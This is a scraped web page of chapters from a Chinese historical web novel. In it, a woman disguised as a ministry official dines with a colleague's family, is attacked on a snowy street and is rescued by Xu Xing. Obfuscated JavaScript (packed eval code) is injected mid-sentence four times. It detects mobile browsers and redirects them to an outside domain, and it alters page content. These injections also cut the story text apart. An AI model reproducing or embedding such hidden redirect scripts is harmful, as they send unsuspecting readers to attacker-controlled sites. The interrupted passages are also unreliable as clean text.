而五年后的今天,她已经能够与同龄男子一样,坐在户部官衙里,发挥自己所长,实现自己理想,甚至受到他人面上尊称的一声“季大人”,自己可谓是时运兼济了。 赤罗衣、白纱中单、皂领缘、赤罗蔽膝、赤罗裳,白袜黑履,头戴二梁冠,腰配银革带,佩三色丝练鹊花锦绶,季泠穿戴整齐,林微也不禁感叹:“这样一看,真是难辩雄雌啊。琼林玉树,丰朗潇洒,怕是许多大人见了,都要将自家小姐许给你呢。” 季泠听后已然昂扬,掩盖不住得意。 自入京四年至今,她已经成熟不少,脸上的圆润也消减了些,穿上朝服,自生一份疏朗英气。 新官上任,完成了接印仪式,与户部衙门内的各级执事人员相互见礼,听候训言,参拜上官,会见下官,结识同僚,交接文书档案,季泠就算是正式成为一名朝廷官吏了。 这个位子是多少生员小吏梦寐以求,皆因公主作保,才让她免去众多曲折,跻身于此。 因此,才刚一上任,她便付出全部努力与精力,在此陌生之域探索精进。 只可惜她实在年轻,户部之中的人个个都是老鬼精怪,手掌算盘账簿,心有九曲回肠,不对季泠有多恭敬,也不至于苛责她,只是笑言间冷待着,保持微妙的距离,让她难以进退。 可三月有余,季泠仍然有些力不从心,将要年关了,她作为湖广清吏司主事,要多关注地方情况。 这段时间,她多次向郎中闫有德请教,想要了解更多相关事宜民情,查看以往卷宗记录,都被他以各种理由推拒了回来。 她性子本来着急,不想耽于逢迎往来,又不爱软嘴奉承上司,只顾着自己埋头研究,就怕自己难以胜任。 傍晚下值时,几位同僚要相约去见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446302|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 香楼,见到经过的季泠,发出邀请:“季大人,您才上任,何必如此辛苦。天色不早了,明日休沐,是否和我们同去见香楼中饮酒聊天?” “是啊季大人,你年纪轻轻,怎么总是拘谨,长夜漫漫,就在这儿打发了,岂不辜负?” 见香楼…那可不是什么干净地方,烟花柳巷,她怎么应付得来? 她笑着推辞:“各位大人先去一步,今日还有公务未处理完,实在不巧,改日再奉陪。” 几人一顿,似是可惜般交换眼色,满口应好。 等季泠到衙门前拿了林微送来的晚膳,转身回去时,就见那几位大人还未走。 正想着再打招呼,却听见他们的抱怨:“这季执庸未免也太过拿乔了。不过一个主事而已,我们邀请,还找借口推辞,做什么高风亮节的样子!” “他到底是什么来头?我看着年纪不大,做事却也利落,我们可别得罪了不该得罪的人。” “还能有谁,公主府出来的。” “公主府啊,难怪呢,细皮嫩肉的,说话一副娘娘腔,倒是会哄的公主开心,他这前程是无忧了!” “你说公主怎么喜欢这挂的?一点男子气概都没有…” 后面的话越来越污糟,季泠冷眼看着,倒也不出声,不欲听完,就径直从另一条路过去了。 “季大人,请留步。”季泠快到堂内,忽然听见有人叫她,诧异回头。 来人是祝扶春,现在任山东司员外郎。 祝扶春生得一副俊秀模样,比她年长六岁,玉面桃花,年轻有为,不少大人想将女儿许配给他。可惜祝扶春已早早娶妻,对夫人体贴入微,连通房小妾也没有过一个。 祝扶春先前任山东司主事,一年前才升的员外郎。季泠初来乍到,请教同僚不解之处时,他最经常伸出援手,还愿意传授她一些官场处事的心得经验,季泠对他倒是颇有好感。 “祝大人。”季泠行礼,和他并肩走着。 “季大人不必理会那几位的玩笑话。这几位大人爱吃酒玩乐是常有的事,有时候玩笑大了,口不择言,你千万别忘心里去。” 季泠听了,倒是有些惊讶:“你瞧见了?” 祝扶春点头:“正巧晚你一步,听见了些。” “我本就没有放在心上,这样的流言空穴来风,如果都要生气,我岂不是气个没完。”季泠确实没怎么放在心上,倒不是她有多大度,那些人不知道她是女儿身,这样的调笑基于莫须有的事情,自然伤不到她。 “我有一言,不知如何与季大人说。” “祝大人直说就是。” 季泠最烦别人曲折婉转,好像这样说,坏消息就能变成好消息似的,左不过是全了说话之人的好人脸面,倒是白白浪费她的时间。 祝扶春瞥了一眼身旁的季泠,见她神色正常,才开口说:“季大人初来乍到,也许在人际之事上时有碰壁,这是再正常不过的。只是…许多大人相邀时,一概推拒了,总是不好。宴饮消遣,人情往来,一来二次的,相互熟络了,才好透露根底不是?” 季泠闻后沉思,这倒是她忽略了。 人情练达皆世故,有时人际关系的建立,不是因为有共同的职责,而是因为有共同的利益爱好。三杯两盏、游船听曲的交心,可比她天天在公务上软磨硬泡快多了。 这些人正经样子做多了,总想到不正经的地方放松一下,坦诚相见后,才好成为朋友。 41. 冬至盛雪 想到这里,季泠礼貌一笑:“多谢祝大人好言。只是,祝大人与我素来没有私交,我也不曾帮过祝大人什么,大人为何同我说这么多?” 交浅言深,虽然祝扶春的话是没错,但是他无中生有的好意让季泠不免警惕。她可不认为祝扶春在她面前贬损了那几人,只是为了教她如何维护同僚情谊,完全别无所求。 祝扶春听了朗声一笑:“也不知怎么,我见你便觉得亲切。说来也巧,家母也是建州府季氏出身,想来也算是有缘,兴许我们还是远亲呢。” 建州在京城的人不多,季泠一听就来了兴趣:“果真?这倒是缘分了” “正是呢。你我年岁相仿,私下也不必大人长大人短的,不如以兄弟相乘,我今年二十六,想来是年长你一些。” “我今年刚及二十。既如此,从今起我便称呼你为扶春兄,可好?”季泠爽快答道。 祝扶春听了,眼神一闪,偏头看向季泠。 才二十岁,就已经到如此地位了,也是个福泽深厚之人呐。 “自然是好。我家中还有一个小妹,年纪比执庸你略小些,幼时在建州外祖家小住过几年,最喜欢建州菜肴风俗。执庸如若思乡情切,闲暇时刻,可以来我家中小聚,聊聊天也是好的。” 季泠闻言一笑,家中小妹?怕不是要撮合他们吧! “如此甚好,若有机会,执庸必定登门拜访伯父伯母。” 冬至时节,京城银装素裹,大雪漫天。 如今,季泠见到雪,已经快要失去当时初来京城的那份新奇和激动了。 在京城初雪的那一晚,她在书房就听见白芨和白蔹激动地大喊:“下雪了!下雪了!这可是今年的第一场雪!” 她站在浮云堂前,看着两个小姑娘在飘落的片片雪花中开心地拉着手转圈窜跳,不自觉地浮出笑意,感受她们的乐趣。 季泠一身青袍,系了件薄披风,伸出手,第一片雪轻轻落在她手里,被她手心的温度融化,顺着她指尖流走。 “瑞雪兆丰年。”她看向碧空深处,心里祈盼着。 “雪大了,执庸怎么还不走?等会儿天再暗些,更是难行呢。”祝扶春边笑着边向她走来。 季泠放下手中的案卷,也笑了:“扶春兄怎么也没走?” 天太冷了,她实在是懒得动弹,感觉一动,身上的热气就都散光了。 虽说之前听了祝扶春的话,决定要和同僚们好好打交道,但天一冷起来,她在衙门和家里都少走动了,也就先将这事放下,想着来年再说也不迟。反正春日一到,各类集会都来了,机会多着呢。 “今日冬至,陛下难得不开宴。我想着,执庸若是无事,不如来我家中一块儿过节吧。” 季泠一愣,这个邀约来的太过突然了,况且冬至大如年,她准备着回去和林微她们一块儿过的。 祝扶春见她犹豫,又笑着开口道:“可千万别推辞我,这可是我第一次邀你作客的,季大人赏赏脸吧。” 季泠被他这句话逗的笑出声来,也就应下了。 到了祝家,季泠首要事便是先随着祝扶春拜见了他父母。 “父亲母亲,这便是孩儿的好友季执庸。” 祝家在京城原不算什么高门大户,他的父亲祝大人是鸿胪寺右寺丞,官居从六品,反倒还比季泠低了一些。 祝家本是庸碌持中的,不成想出了祝扶春这一个才子,祝家宗族耆老倒也都十分欣慰,感叹祝家也算是能一代胜过一代了。 在祝扶春的引见下,季泠也笑着:“执庸见过伯父伯母。今日突然拜访,多有叨扰,还望伯父伯母见谅。” 他的母亲眉眼淡淡,颧骨微突,眼角有些细纹了,见到季泠倒是十分热切,忙上前拉着她的手坐下:“早就听扶春说起季大人了,真是年少有为,一表人材啊!” 季泠有些腼腆,被这热情弄得不知所措,只浅笑回复了一句:“我与扶春兄以兄弟相称,伯母叫我执庸就好。” 祝母笑着点头。 “母亲。”一个细柔女声传来,季泠循声转头,就见着一个穿如意纹桃夭交领上袄和璎珞纹鞓红马面裙的少女走了进来,见到季泠,突然脚步一停。 “霜儿,前来拜见季大人。”来的是祝扶春的妹妹祝扶霜,长的肖似她的母亲,看起来眉眼淡淡的,有些寒霜气,倒是名如其人。 祝扶霜行了个礼,略微内敛,喊了声“季大人”,季泠忙说:“伯母与小姐不必如此拘礼,祝小姐便随兄长,称我执庸兄就行了。” 下人前来禀报,晚间席面已经备好,季泠随着祝家人一同前去饭厅。 祝家虽说不是高门显贵,但毕竟也有两父子同朝为官,家中仆从众多,倒是让平日习惯自己一个人吃饭的季泠有些不适应了。 以祝父为首,季泠坐在祝父与祝扶春之间,祝母和祝扶霜则是坐在祝父的另一侧。 刚坐下来,祝母热络着起话:“我是建州府人,小女曾经也在建州外祖家常住,是以我们家里做的都是建州菜系,不知道执庸吃不吃的惯?” 季泠倒是没想到祝家人还不知道自己是建州人,有些惊讶地看了一眼祝扶春,而后才说:“伯母,我也是建州人,见到这些菜才真的像是回家了呢。” 祝母听了十分高兴,连着热情地给季泠夹菜。 祝扶霜听到她是建州人,也悄悄抬头看了一眼。 倒也不是奉承,桌上的菜色季泠很满意,尤其是荔枝肉和香螺片,她已经许久没有吃到这些味道了。 祝母又给季泠装了一碗汤,不顾祝父在其中的阻隔,亲自端到她面前。 “执庸,这是炖了一下午的党参羊肉汤,冬至天寒,多喝羊肉汤暖暖身体,我瞧着你单薄的很。” 季泠笑着应下。她不太喜欢羊肉的膻味,也就意思着喝了两口汤,随即放下了碗,应着祝母与祝扶春的话。 晚饭过后,下人撤了席面,又端上来几个小碗。 季泠惊讶道:“汤圆?” 祝扶春见她的表情,想着倒是让她满意了:“是汤圆。京城人家冬至都吃饺子。但我们家就随着我母亲和妹妹的喜好,冬至都是吃汤圆的。” 一碗汤圆反倒是勾起她的思乡之情。 冬至,本该是祭祖团圆的日子,而她似乎一直没有团圆。 发着呆,季泠将汤圆送到嘴中。正想着过往,忽然嘴角有什么东西抚过,季泠回过神来闪了一下。 祝扶春看到她惊讶的样子,笑着将手上的帕子给她看:“你没留神,嘴边有芝麻馅。” 祝母和祝扶霜瞧见,倒是都轻笑了,季泠不免有些尴尬。她道了谢,悄无声息地往旁边挪了挪。 眼看雪要停了,季泠赶忙借机说着要回去。 祝扶春将她送至门前。 “扶春兄留步吧。” “雪路难行,要不还是我把你送回去吧。” “不必不必,几步路而已。” 季泠连连推拒,祝扶春见了也不再多言,与她道了别。 虽然雪停了,可长街积雪仍然深厚,她一深一浅地慢慢走着,突然庆幸方才喝了那两口羊肉汤,否则现在她可真要冻死在这雪地里头了。 祝家离石竹巷还是有一点距离,但她先前来祝家时便派人传话回去,放了下面的人冬至假,让他们自己过节去。 自从进了公主府后,她总忙碌,身边人越围越多,反而少有这样的机会,能一人静心散步了。 月光泼地,与雪相融,独行踩雪赏月,倒也不算辜负良辰美景。 祝家门前,祝扶春看着季泠离开的背影,若有所思。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446303|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 祝扶霜性子内秀沉静,不爱亲近陌生人,小时候住在建州,在京城里也没什么好友,家里人也在担心着她的婚事,左挑右捡的,倒是耽搁了,但又不想委屈这从小疼爱的掌上明珠。 第一次看到季泠的时候,他就心里一动。季泠身家清白,身边也干净,长相不说多么英俊,至少周正。且她方才及冠,便官居六品,背后还有公主府撑腰,实在是一个好人选。 但是刚刚席间,他见季泠对他妹妹压根没什么意思,祝扶霜一个姑娘家,肯定是不会主动的,但如果季泠没有任何表示,那这事也难以推进下去。 而且,他能够感受到,季泠有些抗拒他的亲近。但之前他向季泠多次示好,季泠也都欣然接受了。 他有些摸不准了。不过来日方长。 行至半途,寒风大作,季泠的脸被刮得生疼,她只好低头前进。 雪虐风饕,隐匿了暗夜之中的些许动静。 譬如,如风般森冷的箭矢声与像雪般闪烁的剑影。 季泠低着头,不知被雪中的什么东西绊着,不小心跌了一跤,一支箭破空而来,从她头上飞过。 她下意识往箭来的方向望去,什么都没看见,只有空无一人的街道,街边门窗紧闭的铺子,门前因风摇曳的旌旗和灯笼,茫茫的白雪和漆黑的夜空。 忽而,后头传来了疾步之声。 季泠猛地回头,迎面而来的就是一柄锋利的剑,她立刻侧身一躲,勉强躲了过去。 来人穿了一身黑衣,蒙了面,借夜色完美隐匿面容。 不等季泠调整,黑衣人收回剑后又再次刺了过来,季泠用大氅一挡,剑受软阻,稍微偏移了几分。 大氅瞬间被剑刺穿,季泠重心不稳,连连后退。 眼下天寒地冻,她手无寸铁,这样一出手就想置她于死地的杀招,她完全无力抵挡。 迅速将大氅往那人脸上一扔,季泠拔腿就跑,心脏跳得剧烈,命悬一线的紧张压得她呼吸都快停滞了,她只凭借本能在喘着粗气,不停向前。 可大雪深深,她完全跑不快。不必回头,她已经感受到身后毫无阻挡的寒气朝她逐渐逼近。 冷风扼住她的口鼻,侵入她的喉管,深入她的胸腔,刮出一道道痧,冰火相撞间,她嗅到身体里锈迹斑斑的味道。 幽深无光的长街尽头,一点暖黄如日方升,愈来愈近,渐渐放大。是马车! 季泠立刻斜转,大步越过路沿堆砌起的积雪,朝着长街中间狂奔,希望那马车上的人能够注意到她。 可惜来不及了,后面的黑衣人已然追了上来,她快要没有力气了。 就在黑衣人要将剑刺入她身体时,不知哪里飞出一只箭,直中黑衣人的大腿。 黑衣人吃痛地跪倒在地,原本要捅入季泠后背的剑也没有拿稳,剑尖顺着季泠的后背滑落在地。 背后的疼痛猝然袭来,季泠一个趔趄,向前扑去,脚滑几下后,迅速伸开双臂维持住平稳。 冬日的寒意为她短暂麻痹了背后的痛意,她努力支撑着自己不要倒下。季泠知道,一旦倒下,兴许她就再也站不起来了。 黑衣人握紧剑,仍欲挣扎起身。 季泠再次调转方向,眼下黑衣人受伤,她不能将希望寄托在后方的无名马车上。只要能够坚持当下的速度,不出两炷香时间,她应该能回到石竹巷。 又一只箭来,箭矢在她眼中亮出了影,而后准确地射中黑衣人的另一条腿。 黑衣人完全倒下了,短时间估计站不起来。 她高估了自己。 负伤跑出十来步后,朔漠飞沙般扬起的大雪中,季泠眼前一片白雾升腾,须臾后幻化成黑幕。 用了最后一分力气,向前再挣扎出两步,季泠终于力竭,重重地摔在了雪地里。 42. 顺手搭救 徐行刚从吏部衙门里出来。 今天冬至,他本来答应了父母要早些回去吃个团圆饭,但部里突然来了棘手的事务,他不得不留下处理,又在马车前被东城兵马司的吴登封拉住说话,一来二去就耽搁了许久。 吴登封本人是没什么大能耐的,全靠他的父亲淮安侯的荫蔽,才得了件正经差事做。 今日他看似是碰巧遇到徐行,实际上是算好了,要与徐行攀上话,借机为妻子的外甥在五城兵马司谋个职位。 天昏雪骤,徐行着急回去,只说他虽在吏部,掌管百官迁调任用,但兵马司的事情归的兵部,他并不能擅自越权插手,而后又耐着性子,不动声色地找几句话搪塞过去,才从吴登封手里逃脱。 回檀山巷的路上,徐行看着烛火沉思,吴登封为什么莫名其妙的来找他说话?是张瑛想要借吴登封,敲打他吗? 马车突然急急地停下,徐行往前一倾,险些打翻烛火。 他当即皱眉。 览风撩开车帘问驾车的车夫是怎么回事,车夫颤着声音说:“少...少爷,前面地上似乎有个人....” 徐行闻言,看向马车前方,有一个小小隆起的雪峦。 览风接受到徐行的示意,迅速跳下马车查看情况。 那人在雪地里不久,看样子不像是完全晕死过去。停了许久的雪又下了起来,他的背后覆了一层略厚的雪末。 览风扫开,白雪之中显露出一身纻丝青袍,圆领衫后面透出暗色血迹。 览风一见,似乎大事不妙,立刻到徐行面前回禀:“少爷,是一个朝廷官员,穿着鹭鸶补子青袍,像是受了伤。” 徐行神色一凛,堂堂京城,天子脚下,居然有朝廷官员受刺晕倒在大街上,京城治安未免太过松懈了。 他站在车马前思忖着,等览风和阅云将人扶起,他抬头看向伤者的面庞,瞬间大惊,览风也吓了一跳:“怎么是季大人...” “快扶上车。”徐行沉声吩咐。 十来步之外,黑衣人挣扎着想要起身,引起的动静一下子就被车夫注意到。 “阅云,你去处理。”徐行瞥了一眼,收回眼神,与览风一同搀着季泠上了马车。 马车内银丝碳烧得噼啪作响,跳出了小小的火星子。 季泠伤势不算重,只是天寒地冻,她跑得太急,又没了大氅挡风,再加上剑伤,倒在雪地里没多久,就晕了过去。 徐行将她带进马车安坐时,借由灯火才看清她,她的脸已经冻得苍白,浓黑的眉毛与睫毛上都挂着细细的雪茸,嘴唇完全失去了血色,看起来像是濒死一般。 他立刻将自己的狐狸毛大氅脱下来给季泠披上,刚碰到她后背,手里就沾染些许粘稠,徐行一看,是血,他大概猜出了事情发生的经过。 徐行先替她披上大氅,拿过软枕放在自己的肩上,让季泠能先靠着,不至于背后伤口碰到车厢。 季泠才进了户部不到半年,是得罪了谁,要置她于死地呢? 为何这么晚了,她一个人在长街上走着,没有侍从车马,她是从哪里来的?方向上来看,肯定不是户部里头出来。 她中剑倒在了雪地中,但她应该是不会武功,也没有带兵器的,黑衣人不可能手下留情,只让季泠受了轻伤。 虽说节庆当日,深夜无人,但毕竟是京城比较繁华的街道,这样做的风险很大,他没有一招重伤或是杀死季泠,反而自己受伤,是谁出手? 既然出手了,为什么没有救走季泠呢? 今晚的事情也太奇怪了,徐行脑中浮出无数疑问。只能等阅云将那人审上一审,才能知道来龙去脉。 炭火将密闭的车轿熏得恍若暖春,在大氅的保温下,季泠渐渐恢复知觉。 她缓缓睁开眼,入眼便是熟悉的马车内饰,再缓慢地眨眨眼,看见了拢在身前的陌生大氅,以及大氅边垂落于膝上的一双手。 “先生...”一缕声音细若蚊蝇,在他耳边扰动。 季泠撑着腿,努力坐正,有些失神,眉间的雪化开来,添了几分脆弱的柔光。 软枕从他肩上掉下,摔在他的腿上。 徐行回过神来:“醒了?你先别乱动,背后的伤虽然看起来不严重,但还在流血。” 她呆愣愣地看着徐行老半天,才想起来发生了什么。看来,她看见的马车就是徐行的,是徐行救了他。 “多谢先生救命之恩。”季泠瘪了瘪嘴,不知道说什么,憋了半天就说了这么一句话。 徐行捡起软枕,凭空生出几分气恼,自己都死到临头了,还惦记着什么救命之恩干嘛?真是分不清轻重缓急。 “若真要谢,你可谢不过来。”徐行声音淡淡,可季泠总感觉里头藏了脾气。 季泠一下子无语住,她又干什么了? 徐行看着她愣神的模样,将软枕放在两人之间,隔开了一定的距离。 他捋平情绪,才再次开口:“我先带你回檀山巷,我那儿有专治刀剑之伤的大夫。” 季泠老实地点点头,她确实不能回石竹巷,半夜三更的,不仅没有大夫替她看治,而且可能引起其他人的慌乱,她暂时不想把这件事情传出去。 车入徐宅,徐行将她径直带到了行简斋,吩咐一旁的侍从:“去将韩嬷嬷叫来,再把刘大夫请来,让其他人都退出院子。” 没过多久,韩嬷嬷就来了。徐行站在帷帐边,侧对着她。 韩嬷嬷见了她,摘下乌纱帽,放下头发,脱掉大氅和外袍,便猜到她是一个女子,立刻帮她解开了层层衣服,肩胛骨到后肋处赫然一道斜狞着的剑伤,皮开肉绽。好在冬天衣裳厚,黑衣人又失了手,不然还要更严重些。 韩嬷嬷拿着温热的帕子将她伤口周边干掉的血迹都擦拭干净,才刚碰上她的皮肤,季泠就抽痛地嘶了一声,韩嬷嬷当即收了力气,更小心起来。 大夫顶风而进,撩开帷帐,徐行侧身避让,猝不及防看见了她的背部,眼神再也离不开。季泠背对着他们,长发被韩嬷嬷拨到胸前,袒露的后背除了翻开的皮肉,还有层层叠叠、长长短短的旧痕。 下过大狱,受过刑罚,躲过暗杀,季泠忍耐疼痛的阈值并没有提高,大夫手中的药才碰到伤口,季泠难以控制地瑟缩一下,药粉洒落下来,忍不住痛吟一声。 沾 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16446304|185112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了雪的皂靴不由自主地向前一步。 上过药后,季泠疼得脸更是惨白几分,嘴唇都被咬破了。 韩嬷嬷扶起季泠,抬眼看见徐行,忍不住出声提醒:“少爷,老奴要为姑娘穿衣了。” 徐行这才反应过来。 季泠通身的衣裳上深深浅浅,全是脏污与血渍,韩嬷嬷将就着找了女使的衣裳先替她换上,而后绕过屏风,向徐行复命。 “夜深了,嬷嬷先回去休息吧,明日还要劳烦您多照看她。” 徐行再次走进里屋,在圆桌边坐下,季泠已经被大氅罩得只露出张脸。 “今日是怎么回事,你可要告诉我,不得隐瞒。” 季泠也知道事关重大,支起身体,往上拉了拉被子:“我也不大清楚。今夜是临时去一个同僚家中吃宴,没有叫人作陪。结束后我便一个人走了,忽然来了一个蒙面人,先是放了一箭,被我侥幸躲开,后来又提剑而来,我只顾逃命了。本来剑已经朝我刺来,但不知道是谁出手,将他射伤,我这才捡回一条命。” 徐行听了,仔细分析着,季泠的话中几乎完全没有线索。不过好在,这个人他们是抓到了,审上一审,就能知道究竟是谁指使。 突然想到什么似的,徐行抬眼看她:“去同僚家中?哪一个?” “山东司员外郎祝扶春,他的父亲是鸿胪寺右寺丞。”季泠老实回答。 徐行在脑中过了一遍。他与祝家父子没有往来,也就打过几次照面,对两人没什么太大印象,就暂时放过了。 “今夜你就在这东厢房歇下吧,明日大夫来复诊后,你再回去。有事叫人来正房找我即可。”徐行站起来嘱咐了几句,就离开了。 季泠看他走了,才从床上起来。屋里炭火烧得太热,她闷在床上,生怕流汗,再沾到伤口上,更有她苦头吃了。 一如她到每一个新地方,季泠绕着这东厢房四处打量着。 乌木七屏卷书式扶手椅、青花蓝查体梵文乾罐、黄釉暗刻缠枝花卉纹盘、黑漆嵌螺钿二十四孝图八角套盒…… 她之前经过檀山巷多次,看着徐宅外头并不觉得有什么特别,没想到里面别有洞天,光是这个东厢房,就比她的浮云堂大了不少。 看来徐家确实是十分低调内敛。 在屋里转了两圈,她终于累了,洗漱过后,就吹灯上床。 刚躺上床,就不小心压到了伤口,她痛得大叫了一声,觉得自己实在是蠢笨,到了陌生的地方,反而失去思考的能力。恨恨地锤了床,她转而翻身趴下。 究竟是谁要害她? 户部里的人虽说与她不算交好,但也不知有什么理由要置她于死地吧? 季泠左想右想,很快便不敌一日的疲累,沉沉睡去。 徐行站在主屋前,看见东厢房里的人影透过轩窗,不顾伤痛地走来走去,忽远忽近。 随后灯一盏盏灭了,屋子里暗了下来。黑夜之中,突然传来一阵叫喊,之后就是长久的寂静。 屋顶的积雪层层累加,檐头终于支撑不住了,抖落了好大一块雪下来,在地上形成一个小山包。 徐行转身回房。 43. 因伤留宿 冬至原该是有三日假的,他们二人第一日都因为公务而未休,实在劳碌。 第二日清晨,徐行想着不必点卯,季泠昨日受了伤,又折腾到深夜,便也没派人去喊她起床。 徐行坐在行简斋内,静心听着阅云汇报那黑衣人的提审过程。 “那人并不是什么高手,是个江湖人士,被人雇了来,指明要杀季大人。被抓之后,受了刑,立刻就招了。” 徐行听了皱眉:“买凶杀人?”这可不像政敌会做的事情。 他们就算再愚蠢,至少也会选个可靠的人才对,怎么会从外头随意找一个江湖之人来行凶呢。 阅云点了点头:“他并未见过那个雇他之人的模样,只知道是个女子,身量挺高的,穿戴也不错,有点功夫在身,估计不是什么官家小姐。” 徐行磨动着下巴,示意阅云继续。 “那女子在半年前找上的他,没说姓甚名谁,就给了张画像,吩咐他在永和巷附近留意蹲守。只是他一直没有蹲到季大人落单。昨日冬至,他正巧在附近吃酒,见到季大人进了祝家,身边没有带其他人,这才起了歹心,等着季大人出来之后,走到无人的街道上,才准备下手。” 永和巷...女子...半年前... 那时候季泠还未进入户部,还在公主府内,孙立言之案才刚刚收尾。看来是公主府里出了一些歪心思的人了。 徐行看着览风递交的证词,在“画像”二字上停住目光。 “他可还留着画像?” “这…属下没问…” “现在就去。对了,嫌犯有没有招认,是谁放的箭?” “他说他并不知道,而且那人隐匿在暗处,放的三箭是都是来伤他的,他根本没看见。” “三箭?” 原来第一箭要伤的不是季泠,而是黑衣人。放箭之人是怎么知道这个黑衣人要做什么?又为什么等黑衣人伤了季泠,才出手中伤他,又不伤到实处? 这件事的谜团太多了。 而且,这个黑衣人的话也未必可信。 “继续审,等会将画像带来,还有,他双腿上的箭。” “是。” 在徐行和阅云说话的间隙,季泠已经醒了。 突然在不熟悉的地方睁眼,她还有些懵,趴在床上反应了好一会儿,才意识到自己此时所在何方。 今日伤势并未比昨日好转多少,甚至还要更痛上几分。艰难地扶着床架起身,她差点从床上翻下去,好在手速够快,拉住了床架,却差点将帐子给扯落了。 听见了季泠的动静,在堂屋候着的韩嬷嬷走了进来,见她半个身子挂在外头,赶忙将她扶起:“姑娘,您这是要去哪儿?” 季泠又只好老实趴回去:“嬷嬷,现在什么时辰了?” “快要辰时了,您要用早膳吗?” 季泠摇摇头。辰时……她要快些回去,不然浮云堂的人该担心了。 “嬷嬷,可否替我找一套男子的衣裳?” 韩嬷嬷犹豫道:“您再等等,大夫快来了,先替您再看看伤势。” 季泠焦心着,却也只好应下。 徐行走出主屋时,大夫正由韩嬷嬷引入东厢房,他顺着跟了进去。 屏风之外,徐行坐在圈椅上思忖着,一阵恳求的声音穿透屏风而来:“嘶,嬷嬷,求求您,下手轻点儿……” 徐行仿佛能看见那皱眉捶床、呲牙咧嘴的模样。 待韩嬷嬷出来请后,他才走进里间,古朴的陈设中,出现了几抹格格不入的颜色,譬如地上染血的中衣,以及床上脸色惨白的季泠。 冬日,她的额间全是夏日该有的汗珠。窗边的日光将她的伤痛描摹地更清晰了些。 徐行在桌边坐下,季泠闻声抬头,忙扯过床边的帐子,将自己藏匿其后。 “血还未止住吗?”徐行的眼神停留在中衣上片刻,韩嬷嬷捡了起来,他转变视线,看向窗边的软榻。昨日她应该在上面坐过,软枕的位置都变了。 可今日怎么又加重了? “先生,您别怪大夫,”季泠有气无力的声音透过帐子,像闷在被子里的拨浪鼓,“是我睡觉不老实,衣裳粘连到伤口了,这才又出了血。 “我有那么残暴?”徐行质疑道。 季泠后悔不迭,暗自咒骂自己。 “没有,先生一向温厚,是学生言辞不妥。” 徐行没说话。 随后,一根指头悄悄勾开帐子的一角,露出季泠的一只眼睛,当即撞进徐行审视的目光中。她揪住帐子,放也不是,不放也不是。 “先生?”季泠勉强扯出一个笑,寄人篱下,她该识趣扮乖些。 徐行淡淡道:“昨日伤你的黑衣人已经吐了一些东西出来。” 季泠当即掀开帐子,趴在床上巴望着他。 “半年前,有个女子找他,给了你的画像,指明说要取你性命,你可有什么线索?得罪了什么人?” 季泠一头雾水,她压根就没跟什么人发生过分的口角争执,昨日之事她实在意外。 徐行见她什么都不知道,也只好放弃在她这儿追寻线索。 “你先好好休息吧,”徐行站起身,“等有了眉目,我再来告知你。” “徐先生…”季泠叫住他,徐行一转头,就看见她撑着双臂,想要爬起来,他立刻皱眉:“你要做什么?” “可否向先生借件衣裳?我该回去了,我家中人都指望着我呢,现下该是着急了…” “不行,”徐行直接否决:“你连起身都困难,怎么回去?昨日被刺,你总不想闹大吧?” 才撑起的手臂立刻又放下,季泠嘟囔着嘴,脸贴着床沿,溢出菱角一样的脸颊肉,两条手臂垂落在床沿边荡着,一副不甘心又无可奈何的模样。 徐行瞧着就他进来的这会儿子功夫,她头就偏到东南来,脚已经朝着西北去了。难怪连受着伤,睡觉也不老实。 “放心吧,我已经派人去石竹巷传话了,现在想来,你家中人已经知晓,你不必忧心,还是先想想你的伤才是。” “哦。”季泠盯着乌木脚踏,拉着帐子又把自己遮住,无精打采地应他。 “又怎么了?” “好像每次碰到您,都刚好是我最倒霉出糗的模样。” 刑部大牢被用刑也是,流音阁假扮舞姬也是,现在当街被人砍了还是,她真该去算一卦,是否这两年流年不利,她和徐行犯冲吗? 徐行却笑了,只好耐心开解这个可怜虫:“你怎么不说,每回你有事的时候,恰好遇上的都是我呢?” 季泠被他的话噎住,转念一想,却又不能生气,因为他的话真有道理。 “您的话总是让人挑不出错的。”她仍闷闷不乐。 “所以你该三思后行,若总是这样不顾后果地说话做事,若是遇到的是旁人,你小命可就交待了。” 季泠用力地扬起帐子,不满地瞪着他,可又不敢太放肆,收敛了几分,反而叫人看了觉得有趣儿起来,更想逗弄她了。 “不过,也并非每回你都在出丑,你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 